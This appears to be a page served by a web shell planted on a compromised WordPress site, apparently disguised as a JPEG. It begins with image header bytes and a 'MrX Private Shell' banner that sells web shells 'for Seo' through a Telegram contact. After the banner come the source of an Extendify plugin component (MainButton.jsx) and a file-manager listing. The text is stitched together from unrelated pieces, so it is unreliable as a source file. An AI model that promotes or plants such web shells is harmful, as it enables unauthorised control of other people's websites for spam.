����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { ConfirmationModal } from '@page-creator/components/ConfirmationModal';
import { PageGen } from '@page-creator/icons/ai-gen';
import { useGlobalsStore } from '@page-creator/state/global';
import { useActivityStore } from '@shared/state/activity';
import { useSelect } from '@wordpress/data';
import { store as editorStore } from '@wordpress/editor';
import { useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';
import { Icon } from '@wordpress/icons';
export const MainButton = () => {
const { setOpen } = useGlobalsStore();
const { incrementActivity } = useActivityStore();
const [confirmationOpen, setConfirmationOpen] = useState(false);
// Get post attributes using WordPress's useSelect hook
const isEmptyPage = useSelect(
(select) => select(editorStore).isEditedPostEmpty(),
[],
);
const handleClick = () => {
// Minimize HC if its open
window.dispatchEvent(new CustomEvent('extendify-hc:minimize'));
if (!isEmptyPage) return setConfirmationOpen(true);
setOpen(true);
incrementActivity('page-creator-button-click');
};
return (
<>
{confirmationOpen && (
<ConfirmationModal
setConfirmationOpen={setConfirmationOpen}
setModalOpen={setOpen}
confirmationOpen={confirmationOpen}
/>
)}
{/* biome-ignore lint: allow button role here */}
<div
role="button"
onClick={handleClick}
onKeyDown={(e) => {
if (!(e.key === 'Enter' || e.key === ' ')) return;
handleClick();
}}
tabIndex={0}
className="components-button has-icon is-primary ml-3 h-8 min-w-0 cursor-pointer px-2 xs:h-9 sm:ml-2 xl:pr-3"
>
<Icon icon={PageGen} size={24} className="fill-none" />
<span className="ml-1 hidden xl:inline">
{__('AI Page Generator', 'extendify-local')}
</span>
</div>
</>
);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| content | Folder | 0755 |
|
|
| topbar | Folder | 0755 |
|
|
| ConfirmationModal.jsx | File | 1.43 KB | 0644 |
|
| MainButton.jsx | File | 1.77 KB | 0644 |
|
| Modal.jsx | File | 6.95 KB | 0644 |
|
| RetryNotice.jsx | File | 563 B | 0644 |
|